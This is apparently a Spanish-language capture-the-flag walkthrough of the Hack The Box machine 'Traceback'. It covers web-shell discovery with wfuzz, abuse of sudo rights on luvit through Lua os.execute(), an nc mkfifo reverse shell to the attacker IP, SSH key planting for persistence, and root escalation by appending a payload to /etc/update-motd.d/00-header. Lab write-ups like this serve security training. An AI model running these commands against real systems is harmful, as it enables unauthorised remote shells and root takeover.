Publicaciones HTB-TRACEBACK
Post
Cancel

HTB-TRACEBACK

Decripción del entorno

Atacante

OSKali Linux
IP10.10.15.14

Maquina Objetivo

OSLinux
IP10.10.10.181
Dificultad4.8/10 / Medium
URLTraceBack

Enumeración

Se realiza la enumeración habitual para el reconocimiento e identificación de los puertos abiertos en el sistema:

1
$ nmap -sS -sV -sC -oN nmap_traceback 10.10.10.181

Escaneo con Nmap Resultado escaneo con nmap

Se accede al puerto 80 y se infiere por contexto que el servidor ya tiene un WebShell, la cual hay que utilizar para continuar con el proceso de explotación. Puerto 80 Pagina web desplegada en el puerto 80

Se saca un listado de las WebShell más conocidas https://github.com/TheBinitGhimire/Web-Shells, y se realiza un barrido utilizando wFuzz para identificar si alguna se encuentra persistente en el servidor:

1
$ wfuzz -w htb/01_traceback/webshells.dict --hc 404 http://10.10.10.181/FUZZ

Resultado:

  • cmd.php
    • Parametro: ?cmd=COMANDO
  • smevk.php
    • User: admin
    • Password: admin

Una vez identificadas, se procede a validar el usuario y los privilegios que se tienen para la ejecución de comandos. WebShell Básica Usando shell cmd.php con comandos pwd, whoami e ifconfig

Usuarios de bajos privilegios

  • webadmin [Hacked]
  • sysadmin

Por medio de los Sudoers desde el usuario webadmin vemos que tenemos permisos para ejecutar un comando como el usuario sysadmin:

1
2
$ sudo -l 
/home/sysadmin/luvit

De lo anterior se identifica que luvit corresponde a un servicio NodeJS para el lenguaje Lua por lo que conserva su sintaxis y además es posible utilizarlo para ejecutar scripts .lua diseñados por nosotros; vamos a utilizar el metodo os.execute() que nos permite ejecutar comandos de sistema operativo en LUA

Explotación

Una vez identificado el vector de ataque, vamos a utilizar una Shell reversa con nc a través de la ejecución privilegiada de /home/sysadmin/luvit, por lo que creamos el siguiente archivo lua en el directorio /tmp/:

1
os.execute("rm /tmp/cdf;mkfifo /tmp/cdf;cat /tmp/cdf|/bin/sh -i 2>&1|nc 10.10.15.14 4545 >/tmp/cdf")

Ejecutamos el archivo con los privilegios de sysadmin de la siguiente manera:

1
$ sudo -u sysadmin /home/sysadmin/luvit /tmp/d.lua

Recibimos la conexión inversa mediante NetCat:

1
$ nc -nvlp 4545

Reverse Shell Reverse Shell con privilegios del usuario sysadmin

Aunque ya tenemos la shell con los privilegios Sysadmin que nos permiten la lectura de la flag user.txt, es más comodo poder conectarnos directamente al servicio SSH (22), para así tener más estabilidad y propiedades en la consola; para lograr esto, debemos agregar nuestra llave pública SSH al archivo authorized_keys del servidor victima, de esta manera, sin proporcionar credenciales podemos acceder a este.

1
2
$ echo “test” >> authorized_keys
Permission denied

Como no podemos realizarlo desde la shell que tenemos actualmente, creamos otro archivo .lua que cambie los privilegios del archivo “” y agregue nuestra key:

1
2
3
file = io.open("/home/sysadmin/.ssh/authorized_keys", "w")
file:write("ssh-rsa AAAAB3NzaC1yc2EAAAADA/.../zWoMYWXUF8ZIOQp0= csl@support")
file:close()

Ejecutamos el nuevo script LUA:

1
$ sudo -u sysadmin /home/sysadmin/luvit /tmp/d2.lua

Y accedemos al servidor mediante SSH:

1
$ ssh sysadmin@10.10.10.181

SSH Acceso por SSH al usuario Sysadmin

Elevación de privilegios

Revisando los procesos en ejecución del sistema ps aux, vemos que el usuario root realiza la ejecución recurrente del siguiente comando.

1
$ /bin/sh -c sleep 30 ; /bin/cp /var/backups/.update-motd.d/* /etc/update-motd.d/

Lo que inicialmente parece una copia de archivos normal entre directorios cada 30 segundos, nos revela una pista en los permisos del directorio /etc/update-motd.d/: SSH Permisos del directorio /etc/update-motd.d/

Y recordemos que dicho directorio corresponde a los scripts de personalización de inicio o acceso mediante SSH, así pues, cada uno de esos script’s mostrará información o será ejecutado por el usuario root cuando alguien se conecta mediante SSH. De esta manera, si logramos algún cambio en estos scripts, lo podremos activar mediante el acceso a SSH que tenemos del usuario Sysadmin.

Considerando lo anterior, agregamos el comando para que cuando se ejecute nos permita una conexión inversa a nuestro equipo, por el puerto 4545.

1
$ echo "rm /tmp/cdf;mkfifo /tmp/cdf;cat /tmp/cdf|/bin/sh -i 2>&1|nc 10.10.15.14 4545 >/tmp/cdf" >> /etc/update-motd.d/00-header

Una vez realizado, accedemos al servicio SSH con el usuario Sysadmin (para activa nuestro payload) y a su vez, recibimos la conexión inversa en nuestro equipo, esta vez con privilegios de root.

Otra forma de acceder sin utilizar la shell reversa, implicaría el mismo principio de habilitar nuestras llaves en el servicio SSH del usuario root:

1
sysadmin@traceback:/etc/update-motd.d$ echo "cp /home/sysadmin/.ssh/authorized_keys /root/.ssh/" >> 00-header 

Bytez ;)

This post is licensed under CC BY 4.0 by the author.
Tabla de Contenido